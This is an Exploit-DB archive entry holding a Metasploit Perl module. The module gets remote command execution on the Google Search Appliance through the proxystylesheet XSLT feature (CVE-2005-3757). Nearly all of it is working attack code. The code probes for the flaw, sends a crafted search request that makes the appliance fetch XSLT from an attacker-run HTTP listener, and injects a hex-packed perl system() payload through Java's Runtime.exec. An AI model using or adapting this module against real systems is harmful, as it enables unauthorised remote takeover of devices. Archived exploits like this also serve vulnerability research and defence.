标题: Google Search Appliance - proxystylesheet XSLT Java Code Execution (Metasploit) EDB-ID: 1333 CVE: 2005-3757 类型: REMOTE 平台: HARDWARE 发布日期: 2005-11-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::google_proxystylesheet_exec;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;
use IO::Select;
my $advanced = { };

my $info =
{
 'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
 'Version'        => '$Revision: 1.1 $',
 'Authors'        => [ 'H D Moore <hdm [at] metasploit.com>' ],
 
 'Description'    => 
  Pex::Text::Freeform(qq{
   This module exploits a feature in the Saxon XSLT parser used by
  the Google Search Appliance. This feature allows for arbitrary
  java methods to be called. Google released a patch and advisory to 
  their client base in August of 2005 (GA-2005-08-m). The target appliance
  must be able to connect back to your machine for this exploit to work.
  }),
  
 'Arch'           => [ ],
 'OS'             => [ ],
 'Priv'           => 0,
 'UserOpts'       => 
  {
   'RHOST'    => [ 1, 'HOST', 'The address of the Google appliance'],
   'RPORT'    => [ 1, 'PORT', 'The port used by the search interface', 80],
   'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
   'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
   'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect back to this system'],
  },
 'Payload'        => 
  {
   'Space'    => 1024,
   'Keys'     => [ 'cmd' ],
  },
 'Refs'           => 
  [
   ['OSVDB', 20981],
  ],
 'DefaultTarget'  => 0,
 'Targets'        =>
  [
   [ 'Google Search Appliance']
  ],
 'Keys'           => [ 'google' ],

 'DisclosureDate' => 'Aug 16 2005',
};

sub new
{
 my $class = shift;
 my $self;
 
 $self = $class->SUPER::new(
   { 
    'Info'     => $info,
    'Advanced' => $advanced,
   },
   @_);

 return $self;
}

sub Check {
 my $self = shift;
 my $s = $self->ConnectSearch;
 
 if (! $s) {
  return $self->CheckCode('Connect');
 }
 
 my $url =
  "/search?client=". Pex::Text::AlphaNumText(int(rand(15))+1). "&".
  "site=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  "output=xml_no_dtd&".
  "q=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  "proxystylesheet=http://".Pex::Text::AlphaNumText(int(rand(32))+1)."/";
 
 $s->Send("GET $url HTTP/1.0\r\n\r\n");
 my $page = $s->Recv(-1, 5);
 $s->Close;

 if ($page =~ /cannot be resolved to an ip address/) {
  $self->PrintLine("[*] This system appears to be vulnerable >:-)");
  return $self->CheckCode('Confirmed');
 }
 
 if ($page =~ /ERROR: Unable to fetch the stylesheet/) {
  $self->PrintLine("[*] This system appears to be patched");
 }
 
 $self->PrintLine("[*] This system does not appear to be vulnerable");
 return $self->CheckCode('Safe'); 
}


sub Exploit
{
 my $self = shift;
 my ($s, $page);
 
 # Request the index page to obtain a redirect response
 $s = $self->ConnectSearch || return;
 $s->Send("GET / HTTP/1.0\r\n\r\n");
 $page = $s->Recv(-1, 5);
 $s->Close;

 # Parse the redirect to get the client and site values
 my ($goog_site, $goog_clnt) = $page =~ m/^location.*site=([^\&]+)\&.*client=([^\&]+)\&/im;
 if (! $goog_site || ! $goog_clnt) {
  $self->PrintLine("[*] Invalid response to our request, is this a Google appliance?");
  #$self->PrintLine($page);
  #!!! return;
  $goog_site = 'test';
  $goog_clnt = 'test';
 }

 # Create the listening local socket that will act as our HTTP server
 my $lis = IO::Socket::INET->new(
   LocalHost => $self->GetVar('HTTPHOST'),
   LocalPort => $self->GetVar('HTTPPORT'),
   ReuseAddr => 1,
   Listen    => 1,
   Proto     => 'tcp');
 
 if (not defined($lis)) {
  $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  return;
 }
 my $sel = IO::Select->new($lis);
 
 # Send a search request with our own address in the proxystylesheet parameter
 my $query = Pex::Text::AlphaNumText(int(rand(32))+1);
 
 my $proxy =
  "http://".
  ($self->GetVar('HTTPADDR') || Pex::Utils::SourceIP($self->GetVar('RHOST'))).
  ":".$self->GetVar('HTTPPORT')."/".Pex::Text::AlphaNumText(int(rand(15))+1).".xsl";
 
 my $url = 
  "/search?client=". $goog_clnt ."&site=". $goog_site .
  "&output=xml_no_dtd&proxystylesheet=". $proxy .
  "&q=". $query ."&proxyreload=1";

 $self->PrintLine("[*] Sending our malicious search request...");
 $s = $self->ConnectSearch || return;
 $s->Send("GET $url HTTP/1.0\r\n\r\n");
 $page = $s->Recv(-1, 3);
 $s->Close;

 $self->PrintLine("[*] Listening for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
 
 # Did we receive a connection?
 my @r = $sel->can_read(30);
 
 if (! @r) {
  $self->PrintLine("[*] No connection received from the search engine, possibly patched.");
  $lis->close;
  return;
 }

 my $c = $lis->accept();
 if (! $c) {
  $self->PrintLine("[*] No connection received from the search engine, possibly patched.");
  $lis->close;
  return; 
 }

 my $cli = Msf::Socket::Tcp->new_from_socket($c);
 $self->PrintLine("[*] Connection received from ".$cli->PeerAddr."..."); 
 $self->ProcessHTTP($cli);
 return;
}

sub ConnectSearch {
 my $self = shift;
 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $self->GetVar('RHOST'),
  'PeerPort' => $self->GetVar('RPORT'),
  'SSL'      => $self->GetVar('SSL')
 );
 
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }
 return $s;
}

sub ProcessHTTP
{
 my $self = shift;
 my $cli  = shift;
 my $targetIdx = $self->GetVar('TARGET');
 my $target    = $self->Targets->[$targetIdx];
 my $ret       = $target->[1];
 my $shellcode = $self->GetVar('EncodedPayload')->Payload;
 my $content;
 my $rhost;
 my $rport;

 # Read the first line of the HTTP request
 my ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10));

 # The way we call Runtime.getRuntime().exec, Java will split
 # our string on whitespace. Since we are injecting via XSLT,
 # inserting quotes becomes a huge pain, so we do this...
 my $exec_str = 
  '/usr/bin/perl -e system(pack(qq{H*},qq{' .
  unpack("H*", $self->GetVar('EncodedPayload')->RawPayload).
  '}))';

 # Load the template from our data section, we have to manually
 # seek and reposition to allow the exploit to be used more
 # than once without a reload.
 seek(DATA, 0, 0);
 while(<DATA>) { last if /^__DATA__$/ }
 while(<DATA>) { $content .= $_ }

 # Insert our command line
 $content =~ s/:x:MSF:x:/$exec_str/;
 
 # Send it to the requesting appliance
 $rport = $cli->PeerPort;
 $rhost = $cli->PeerAddr;
 $self->PrintLine("[*] HTTP Client connected from $rhost, sending XSLT...");
 
 my $res = "HTTP/1.1 200 OK\r\n" .
           "Content-Type: text/html\r\n" .
           "Content-Length: " . length($content) . "\r\n" .
           "Connection: close\r\n" .
           "\r\n" .
           $content;

 $self->PrintLine("[*] Sending ".length($res)." bytes...");
 $cli->Send($res);
 $cli->Close;
}

1;

# milw0rm.com [2005-11-20] URL: https://www.exploit-db.com/exploits/1333